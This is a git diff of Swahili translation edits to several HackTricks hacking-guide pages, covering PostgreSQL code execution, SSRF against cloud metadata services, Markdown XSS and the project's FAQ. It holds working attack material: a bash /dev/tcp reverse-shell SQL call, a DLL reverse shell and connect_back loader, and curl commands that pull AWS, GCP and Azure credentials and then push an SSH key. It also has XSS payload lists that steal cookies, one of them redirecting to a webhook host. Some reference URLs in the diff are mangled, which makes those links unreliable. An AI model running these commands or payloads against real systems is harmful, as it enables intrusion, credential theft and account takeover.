Tangu toleo la PostgreSQL 8.2, mchakato wa mshambuliaji kutumia mfumo umefanywa kuwa mgumu zaidi. Mshambuliaji anahitajika ama kutumia maktaba ambayo tayari ipo kwenye mfumo au kupakia maktaba maalum. Maktaba hii maalum inapaswa kuandikwa dhidi ya toleo kuu la PostgreSQL linalofaa na inapaswa kujumuisha "block ya kichawi" maalum. Hatua hii inaongeza kwa kiasi kikubwa ugumu wa kutumia mifumo ya PostgreSQL, kwani inahitaji uelewa wa kina wa usanifu wa mfumo na ulinganifu wa toleo.
#### Jenga maktaba
@ -119,7 +119,7 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
Unaweza kupata hii **maktaba iliyotayarishwa** kwa toleo tofauti za PostgreSQL na hata unaweza **kujiendesha mchakato huu** (ikiwa una ufikiaji wa PostgreSQL) kwa:
Unaweza kupata hii **maktaba iliyotayarishwa** kwa toleo kadhaa tofauti za PostgreSQL na hata unaweza **kujiendesha mchakato huu** (ikiwa una ufikiaji wa PostgreSQL) kwa:
{{#ref}}
https://github.com/Dionach/pgexec
@ -254,38 +254,38 @@ int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
```
Kumbuka jinsi katika kesi hii **kode mbaya iko ndani ya kazi ya DllMain**. Hii inamaanisha kwamba katika kesi hii si lazima kutekeleza kazi iliyopakiwa katika postgresql, tu **kupakia DLL** kutafanya **utekelezaji** wa shell ya kinyume:
Kumbuka jinsi katika kesi hii **kodii mbaya iko ndani ya kazi ya DllMain**. Hii inamaanisha kwamba katika kesi hii si lazima kutekeleza kazi iliyopakiwa katika postgresql, tu **kupakia DLL** kutatekeleza **reverse shell**:
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
The [PolyUDF project](https://github.com/rop-la/PolyUDF) ni mahali pazuri pa kuanzia na mradi kamili wa MS Visual Studio na maktaba inayoweza kutumika (ikiwemo: _command eval_, _exec_ na _cleanup_) yenye msaada wa toleo nyingi.
Mradi wa [PolyUDF](https://github.com/rop-la/PolyUDF) pia ni mahali pazuri pa kuanzia na mradi kamili wa MS Visual Studio na maktaba inayoweza kutumika (ikiwemo: _command eval_, _exec_ na _cleanup_) yenye msaada wa toleo nyingi.
### RCE katika toleo jipya la Prostgres
Katika **matoleo ya hivi karibuni** ya PostgreSQL, vizuizi vimewekwa ambapo `superuser` **amepigwa marufuku** **kuchaji** faili za maktaba za pamoja isipokuwa kutoka kwenye directories maalum, kama vile `C:\Program Files\PostgreSQL\11\lib` kwenye Windows au `/var/lib/postgresql/11/lib` kwenye mifumo ya \*nix. Directories hizi zime **lindwa** dhidi ya operesheni za kuandika kwa akaunti za NETWORK_SERVICE au postgres.
Katika **matoleo ya hivi karibuni** ya PostgreSQL, vizuizi vimewekwa ambapo `superuser` anaruhusiwa **kuzuia** faili za maktaba za pamoja isipokuwa kutoka kwenye directories maalum, kama vile `C:\Program Files\PostgreSQL\11\lib` kwenye Windows au `/var/lib/postgresql/11/lib` kwenye mifumo ya \*nix. Hizi directories zime **lindwa** dhidi ya operesheni za kuandika na akaunti za NETWORK_SERVICE au postgres.
Licha ya vizuizi hivi, inawezekana kwa `superuser` wa database aliyeidhinishwa **kuandika faili za binary** kwenye mfumo wa faili kwa kutumia "large objects." Uwezo huu unapanuka hadi kuandika ndani ya directory ya `C:\Program Files\PostgreSQL\11\data`, ambayo ni muhimu kwa operesheni za database kama vile kusasisha au kuunda meza.
Licha ya vizuizi hivi, inawezekana kwa `superuser` wa database aliyeidhinishwa **kuandika faili za binary** kwenye mfumo wa faili kwa kutumia "vitu vikubwa." Uwezo huu unapanuka hadi kuandika ndani ya directory ya `C:\Program Files\PostgreSQL\11\data`, ambayo ni muhimu kwa operesheni za database kama vile kusasisha au kuunda meza.
Ukiukaji mkubwa unatokana na amri ya `CREATE FUNCTION`, ambayo **inaruhusu kupita kwenye directory** ya data. Kwa hivyo, mshambuliaji aliyeidhinishwa anaweza **kutumia kupita hapa** kuandika faili la maktaba ya pamoja kwenye directory ya data na kisha **kuchaji**. Ukatili huu unamwezesha mshambuliaji kutekeleza msimbo wowote, akipata utekelezaji wa msimbo wa asili kwenye mfumo.
Ukatili mkubwa unatokana na amri ya `CREATE FUNCTION`, ambayo **inaruhusu kupita kwenye directory** hadi kwenye directory ya data. Kwa hivyo, mshambuliaji aliyeidhinishwa anaweza **kutumia kupita hapa** kuandika faili la maktaba ya pamoja kwenye directory ya data na kisha **kuipakia**. Ukatili huu unamwezesha mshambuliaji kutekeleza msimbo wowote, akipata utekelezaji wa msimbo wa asili kwenye mfumo.
#### Mchakato wa shambulio
Kwanza kabisa unahitaji **kutumia large objects kupakia dll**. Unaweza kuona jinsi ya kufanya hivyo hapa:
Kwanza kabisa unahitaji **kutumia vitu vikubwa kupakia dll**. Unaweza kuona jinsi ya kufanya hivyo hapa:
{{#ref}}
big-binary-files-upload-postgresql.md
{{#endref}}
Mara tu unapokuwa umepakia nyongeza (ikiwa na jina la poc.dll kwa mfano huu) kwenye directory ya data unaweza kuichaji kwa:
Mara tu unapokuwa umepakia nyongeza (ikiwa na jina la poc.dll kwa mfano huu) kwenye directory ya data unaweza kuipakia kwa:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_Note that you don't need to append the `.dll` extension as the create function will add it._
Kwa maelezo zaidi **soma**[ **chapisho asilia hapa**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
Katika chapisho hilo **hii ilikuwa** [**kanuni iliyotumika kutengeneza ugani wa postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_ili kujifunza jinsi ya kukusanya ugani wa postgres soma toleo lolote la awali_).\
Katika ukurasa huo huo **kibao hiki cha kujiendesha** kilitolewa:
For more information **read the**[ **original publication here**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_ili kujifunza jinsi ya kukusanya nyongeza ya postgres soma toleo lolote la awali_).\
In the same page this **exploit to automate** this technique was given:
```python
#!/usr/bin/env python3
import sys

View File

@ -6,16 +6,16 @@
### Abusing SSRF in AWS EC2 environment
**Mada** ya metadata inaweza kupatikana kutoka ndani ya mashine yoyote ya EC2 na inatoa taarifa za kuvutia kuhusu hiyo. Inapatikana katika url: `http://169.254.169.254` ([taarifa kuhusu mada hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**Madaftari ya metadata** inaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na inatoa taarifa za kuvutia kuhusu hiyo. Inapatikana katika url: `http://169.254.169.254` ([taarifa kuhusu madaftari ya metadata hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
Kuna **toleo 2** la mada ya metadata. **Toleo la kwanza** linaruhusu **kupata** mada kupitia **maombi ya GET** (hivyo **SSRF yoyote inaweza kuitumia**). Kwa **toleo la 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **token** kwa kutuma **maombi ya PUT** na **header ya HTTP** na kisha tumia token hiyo kupata metadata kwa header nyingine ya HTTP (hivyo ni **ngumu zaidi kuitumia** na SSRF).
Kuna **toleo 2** la madaftari ya metadata. **Toleo la kwanza** linaruhusu **kufikia** madaftari kupitia **maombi ya GET** (hivyo **SSRF yoyote inaweza kuitumia**). Kwa **toleo la 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **token** kwa kutuma **maombi ya PUT** na **header ya HTTP** na kisha tumia token hiyo kufikia metadata kwa header nyingine ya HTTP (hivyo ni **ngumu zaidi kuitumia** na SSRF).
> [!CAUTION]
> Kumbuka kwamba ikiwa mfano wa EC2 unatekeleza IMDSv2, [**kulingana na hati**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kipimo cha hop cha 1**, na kufanya iwe vigumu kupata metadata ya EC2 kutoka kwenye kontena ndani ya mfano wa EC2.
> Kumbuka kwamba ikiwa mfano wa EC2 unatekeleza IMDSv2, [**kulingana na hati**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kipimo cha hop cha 1**, na kufanya iwe vigumu kufikia metadata ya EC2 kutoka kwenye kontena ndani ya mfano wa EC2.
>
> Zaidi ya hayo, **IMDSv2** pia **itazuia maombi ya kupata token ambayo yanajumuisha header ya `X-Forwarded-For`**. Hii ni ili kuzuia proxies za nyuma zilizowekwa vibaya kuweza kuipata.
> Zaidi ya hayo, **IMDSv2** pia **itazuia maombi ya kupata token ambayo yanajumuisha header ya `X-Forwarded-For`**. Hii ni ili kuzuia proxies za nyuma zilizowekwa vibaya zisipate kufikia hiyo.
Unaweza kupata taarifa kuhusu [madoa ya metadata katika hati](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika skripti ifuatayo, taarifa za kuvutia zinapatikana kutoka kwake:
Unaweza kupata taarifa kuhusu [madaftari ya metadata katika hati](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika script ifuatayo, taarifa za kuvutia zinapatikana kutoka kwake:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -88,21 +88,21 @@ aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Tafadhali angalia **aws_session_token**, hii ni muhimu kwa ajili ya profaili kufanya kazi.
Notice the **aws_session_token**, hii ni muhimu kwa ajili ya profaili kufanya kazi.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) inaweza kutumika na akidi zilizogunduliwa ili kujua haki zako na kujaribu kupandisha haki.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) inaweza kutumika na akauti zilizogunduliwa ili kujua haki zako na kujaribu kupandisha haki.
### SSRF katika AWS ECS (Huduma ya Kontena) akidi
### SSRF katika AWS ECS (Huduma ya Kontena) credentials
**ECS**, ni kundi la kimantiki la EC2 instances ambazo unaweza kuendesha programu bila ya kuhitaji kupanua miundombinu yako ya usimamizi wa kundi kwa sababu ECS inasimamia hiyo kwa ajili yako. Ikiwa utaweza kuathiri huduma inayofanya kazi katika **ECS**, **mipaka ya metadata inabadilika**.
**ECS**, ni kundi la mantiki la EC2 instances ambazo unaweza kuendesha programu bila ya kuhitaji kupanua miundombinu yako ya usimamizi wa klasta kwa sababu ECS inasimamia hiyo kwa ajili yako. Ikiwa utaweza kuathiri huduma inayotembea katika **ECS**, **metadata endpoints zinabadilika**.
Ikiwa unapata _**http://169.254.170.2/v2/credentials/\<GUID>**_ utaona akidi za mashine ya ECS. Lakini kwanza unahitaji **kupata \<GUID>**. Ili kupata \<GUID> unahitaji kusoma kiambishi cha **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** ndani ya mashine.\
Unaweza kuwa na uwezo wa kukisoma kwa kutumia **Path Traversal** hadi `file:///proc/self/environ`\
Ikiwa unapata _**http://169.254.170.2/v2/credentials/\<GUID>**_ utaona akauti za mashine ya ECS. Lakini kwanza unahitaji **kupata \<GUID>**. Ili kupata \<GUID> unahitaji kusoma variable ya **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** ndani ya mashine.\
Unaweza kuwa na uwezo wa kuisoma kwa kutumia **Path Traversal** hadi `file:///proc/self/environ`\
Anwani ya http iliyotajwa inapaswa kukupa **AccessKey, SecretKey na token**.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
> [!NOTE]
> [!TIP]
> Kumbuka kwamba katika **mifano fulani** utaweza kufikia **EC2 metadata instance** kutoka kwenye kontena (angalia mipaka ya TTL ya IMDSv2 iliyotajwa hapo awali). Katika hali hizi kutoka kwenye kontena unaweza kufikia jukumu la IAM la kontena na jukumu la IAM la EC2.
### SSRF kwa AWS Lambda
@ -115,14 +115,14 @@ Katika kesi hii **akili zinahifadhiwa katika mabadiliko ya mazingira**. Hivyo, i
- `AWS_SECRET_ACCESS_KEY`
- `AWS_ACCES_KEY_ID`
Zaidi ya hayo, pamoja na akidi za IAM, kazi za Lambda pia zina **data ya tukio ambayo inapitishwa kwa kazi wakati inapoanzishwa**. Data hii inapatikana kwa kazi kupitia [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) na inaweza kuwa na **habari** **nyeti** (kama ndani ya **stageVariables**). Tofauti na akidi za IAM, data hii inapatikana kupitia SSRF ya kawaida kwenye **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
Zaidi ya hayo, pamoja na akili za IAM, kazi za Lambda pia zina **data ya tukio inayopitishwa kwa kazi wakati inapoanzishwa**. Data hii inapatikana kwa kazi kupitia [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) na inaweza kuwa na **habari** **nyeti** (kama ndani ya **stageVariables**). Tofauti na akili za IAM, data hii inapatikana kupitia SSRF ya kawaida kwenye **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
> [!WARNING]
> Kumbuka kwamba **akidi za lambda** ziko ndani ya **mabadiliko ya mazingira**. Hivyo ikiwa **stack trace** ya msimbo wa lambda inachapisha mabadiliko ya mazingira, inawezekana **kuzipeleka nje kwa kuchochea kosa** katika programu.
> Kumbuka kwamba **akili za lambda** ziko ndani ya **mabadiliko ya mazingira**. Hivyo ikiwa **stack trace** ya msimbo wa lambda inachapisha mabadiliko ya mazingira, inawezekana **kuzipeleka nje kwa kuchochea kosa** katika programu.
### SSRF URL kwa AWS Elastic Beanstalk
Tunapata `accountId` na `region` kutoka API.
Tunapata `accountId` na `region` kutoka kwenye API.
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
@ -143,9 +143,9 @@ Unaweza [**kupata hapa hati kuhusu metadata endpoints**](https://cloud.google.co
Inahitaji kichwa cha HTTP **`Metadata-Flavor: Google`** na unaweza kufikia metadata endpoint kwa URLs zifuatazo:
- http://169.254.169.254
- http://metadata.google.internal
- http://metadata
- [http://169.254.169.254](http://169.254.169.254)
- [http://metadata.google.internal](http://metadata.google.internal)
- [http://metadata](http://metadata)
Mikondo ya kuvutia ya kutoa taarifa:
```bash
@ -262,7 +262,7 @@ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXX
"access_type": "offline"
}
```
Sasa sukuma ufunguo wa SSH.
Sasa sukuma funguo la SSH.
```bash
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
@ -325,9 +325,9 @@ curl http://169.254.169.254/metadata/v1.json | jq
> [!TIP]
> Azure VM inaweza kuwa na utambulisho mmoja unaosimamiwa na mfumo na utambulisho kadhaa unaosimamiwa na mtumiaji. Hii inamaanisha kwamba unaweza **kujifanya kama utambulisho wote unaosimamiwa ulioambatanishwa na VM**.
>
> Unapofanya ombi la token ya ufikiaji kwa kiunganishi cha metadata, kwa kawaida huduma ya metadata itatumia **utambulisho wa mfumo uliopewa** ili kuunda token, ikiwa kuna utambulisho wowote wa mfumo uliopewa. Ikiwa kuna **UTAMBULISHO MMOJA** wa mtumiaji uliopewa, basi hii itatumika kwa kawaida. Hata hivyo, ikiwa hakuna utambulisho wa mfumo uliopewa na kuna **utambulisho kadhaa wa mtumiaji uliopewa**, basi huduma ya metadata itarudisha kosa ikionyesha kwamba kuna utambulisho kadhaa na ni muhimu **kueleza ni ipi itumike**.
> Unapohitaji token ya ufikiaji kwa kiunganishi cha metadata, kwa kawaida huduma ya metadata itatumia **utambulisho wa mfumo uliopewa** kutengeneza token, ikiwa kuna utambulisho wowote wa mfumo uliopewa. Ikiwa kuna **UTAMBULISHO MMOJA** wa mtumiaji uliopewa, basi hii itatumika kwa kawaida. Hata hivyo, ikiwa hakuna utambulisho wa mfumo uliopewa na kuna **utambulisho kadhaa wa mtumiaji uliopewa**, basi huduma ya metadata itarudisha kosa ikionyesha kwamba kuna utambulisho kadhaa na ni muhimu **kueleza ni ipi itumike**.
>
> Kwa bahati mbaya, sikuweza kupata kiunganishi chochote cha metadata kinachoonyesha MIs zote ambazo VM inaambatanishwa nazo, hivyo kubaini utambulisho wote uliopewa kwa VM inaweza kuwa kazi ngumu kutoka kwa mtazamo wa Red Team.
> Kwa bahati mbaya, sikuweza kupata kiunganishi chochote cha metadata kinachoonyesha MIs zote ambazo VM inaambatanishwa nazo, hivyo kupata utambulisho wote uliopewa kwa VM inaweza kuwa kazi ngumu kutoka kwa mtazamo wa Red Team.
>
> Kwa hivyo, ili kupata MIs zote zilizounganishwa unaweza kufanya:
>
@ -335,41 +335,41 @@ curl http://169.254.169.254/metadata/v1.json | jq
>
> ```bash
> az vm identity show \
> --resource-group <rsc-group> \
> --name <vm-name>
> --resource-group <rsc-group> \
> --name <vm-name>
> ```
>
> - Pata **utambulisho ulioambatanishwa** ukitumia MI iliyounganishwa ya default katika metadata:
> - Pata **utambulisho ulioambatanishwa** ukitumia MI iliyounganishwa kwa kawaida katika metadata:
>
> ```bash
> export API_VERSION="2021-12-13"
>
> # Pata token kutoka MI ya default
> # Pata token kutoka MI ya kawaida
> export TOKEN=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
>
> # Pata maelezo muhimu
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
> export VM_NAME=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
>
> # Jaribu kupata MIs zilizounganishwa
> curl -s -H "Authorization: Bearer $TOKEN" \
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
>
> - **Pata yote** ya utambulisho unaosimamiwa yaliyofafanuliwa katika tenant na **brute force** kuona kama yoyote yao imeunganishwa na VM:
> - **Pata yote** utambulisho unaosimamiwa ulioainishwa katika tenant na **fanya brute force** kuona kama yoyote yao imeunganishwa na VM:
>
> ```bash
> az identity list
> ```
> [!CAUTION]
> Katika maombi ya token tumia mojawapo ya vigezo `object_id`, `client_id` au `msi_res_id` kuonyesha utambulisho unaotaka kutumia ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Ikiwa hakuna, **MI ya default itatumika**.
> Katika maombi ya token tumia mojawapo ya vigezo `object_id`, `client_id` au `msi_res_id` kuonyesha utambulisho unaotaka kutumia ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Ikiwa hakuna, **MI ya kawaida itatumika**.
{{#tabs}}
{{#tab name="Bash"}}
@ -427,7 +427,10 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
{{#endtab}}
{{#endtabs}}
### Azure App & Functions Services & Automation Accounts
> [!WARNING]
> Kumbuka kwamba mwisho **`http://169.254.169.254/metadata/v1/instanceinfo` hauhitaji kichwa `Metadata: True`** ambacho ni kizuri kuonyesha athari katika udhaifu wa SSRF katika Azure ambapo huwezi kuongeza kichwa hiki.
### Huduma za Azure App & Functions na Akaunti za Automation
Kutoka kwenye **env** unaweza kupata thamani za **`IDENTITY_HEADER`** na **`IDENTITY_ENDPOINT`**. Ambazo unaweza kutumia kukusanya tokeni ya kuzungumza na seva ya metadata.

View File

@ -6,7 +6,7 @@ Ikiwa una nafasi ya kuingiza msimbo katika markdown, kuna chaguzi chache unazowe
### HTML tags
Njia ya kawaida zaidi ya kupata XSS katika markdown ni kuingiza lebo za kawaida za HTML ambazo zinaendesha javascript, kwa sababu wahakiki wa markdown kadhaa pia watakubali HTML.
Njia ya kawaida zaidi ya kupata XSS katika markdown ni kuingiza vitambulisho vya kawaida vya HTML vinavyotekeleza javascript, kwa sababu tafsiri kadhaa za markdown pia zitakubali HTML.
```html
<!-- XSS with regular tags -->
<script>
@ -18,7 +18,7 @@ Unaweza kupata mifano zaidi katika [ukurasa mkuu wa XSS wa hacktricks](README.md
### Viungo vya Javascript
Ikiwa vitambulisho vya HTML si chaguo, unaweza kila wakati kujaribu kucheza na sintaksia ya markdown:
Ikiwa vitambulisho vya HTML si chaguo, unaweza daima kujaribu kucheza na sintaksia ya markdown:
```html
<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))
@ -33,7 +33,7 @@ t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
```
### Img event syntax abuse
### Matukio ya matumizi mabaya ya Img
```markdown
![Uh oh...](<"onerror="alert('XSS')>)
![Uh oh...](<https://www.example.com/image.png"onload="alert('XSS')>)
@ -42,7 +42,7 @@ t:prompt(document.cookie))
```
### HTML Sanitiser Markdown Bypass
Msimbo ufuatao unafanya **kusafisha ingizo la HTML** na kisha **kulipeleka kwa parser ya markdown**, kisha, XSS inaweza kuanzishwa kwa kutumia tafsiri mbaya kati ya Markdown na DOMPurify
Msimbo ufuatao ni **ukaguzi wa ingizo la HTML** na kisha **kupeleka kwa parser ya markdown**, kisha, XSS inaweza kuanzishwa kwa kutumia tafsiri mbaya kati ya Markdown na DOMPurify
```html
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
@ -84,8 +84,8 @@ x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5
```html
<!--
Fuzzing examples from
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
- [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt)
- [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields)
-->
[a](javascript:prompt(document.cookie))
@ -97,7 +97,7 @@ Fuzzing examples from
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[lol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)

View File

@ -7,15 +7,15 @@
> [!TIP]
> Hizi ni **thamani za Mradi wa HackTricks**:
>
> - Toa **UFIKIRI** wa rasilimali za **ELIMU ya hacking** kwa **WOTE** kwenye Mtandao.
> - Hacking ni kuhusu kujifunza, na kujifunza inapaswa kuwa bure kadri iwezekanavyo.
> - Kusudi la kitabu hiki ni kutumikia kama **rasilimali ya elimu** ya kina.
> - Toa ufikiaji wa **BILA MALIPO** kwa rasilimali za **ELIMU ya hacking** kwa **WOTE** kwenye Mtandao.
> - Hacking ni kuhusu kujifunza, na kujifunza inapaswa kuwa bure kadri iwezekanavyo.
> - Kusudi la kitabu hiki ni kutumikia kama **rasilimali ya elimu** ya kina.
> - **HIFADHI** mbinu za **hacking** za kushangaza ambazo jamii inachapisha ikitoa **WANDIKAJI** wa **AWALI** sifa zote.
> - **Hatupendi sifa kutoka kwa watu wengine**, tunataka tu kuhifadhi mbinu nzuri kwa kila mtu.
> - Pia tunaandika **utafiti wetu wenyewe** katika HackTricks.
> - Katika hali kadhaa tutandika tu **katika HackTricks muhtasari wa sehemu muhimu** za mbinu na tutawatia moyo **wasomaji kutembelea chapisho la awali** kwa maelezo zaidi.
> - **Hatupendi sifa kutoka kwa watu wengine**, tunataka tu kuhifadhi mbinu nzuri kwa kila mtu.
> - Pia tunaandika **utafiti wetu wenyewe** katika HackTricks.
> - Katika hali kadhaa tutandika tu **katika HackTricks muhtasari wa sehemu muhimu** za mbinu na tutawatia moyo **wasomaji kutembelea chapisho la asili** kwa maelezo zaidi.
> - **ANDAA** mbinu zote za hacking katika kitabu ili iwe **RAHISI KUFIKIA**
> - Timu ya HackTricks imejitolea maelfu ya masaa bure **kuandaa maudhui** ili watu waweze **kujifunza haraka**
> - Timu ya HackTricks imejitolea masaa maelfu bure **kuandaa maudhui** ili watu waweze **kujifunza haraka**
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -48,7 +48,7 @@ Ndio, unaweza, lakini **usisahau kutaja kiungo maalum** ambacho maudhui yalitole
> [!TIP]
>
> - **Ninaweza vipi kunukuu ukurasa wa HackTricks?**
> - **Ninaweza vipi kuandika ukurasa wa HackTricks?**
Mradi tu kiungo **cha** ukurasa(za) ulizochukua taarifa kutoka kitatosha.\
Ikiwa unahitaji bibtex unaweza kutumia kitu kama:
@ -64,7 +64,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
>
> - **Naweza kunakili HackTricks zote kwenye blogu yangu?**
**Ningependa kutokufanya hivyo**. Hii **haitafaidisha mtu yeyote** kwani **maudhui yote tayari yanapatikana hadharani** katika vitabu rasmi vya HackTricks bure.
**Ningependa kutokufanya hivyo**. Hii **haitafaidi mtu yeyote** kwani **maudhui yote yanapatikana tayari** katika vitabu rasmi vya HackTricks bure.
Ikiwa unahofia kwamba itatoweka, tu fork kwenye Github au uipakue, kama nilivyosema tayari ni bure.
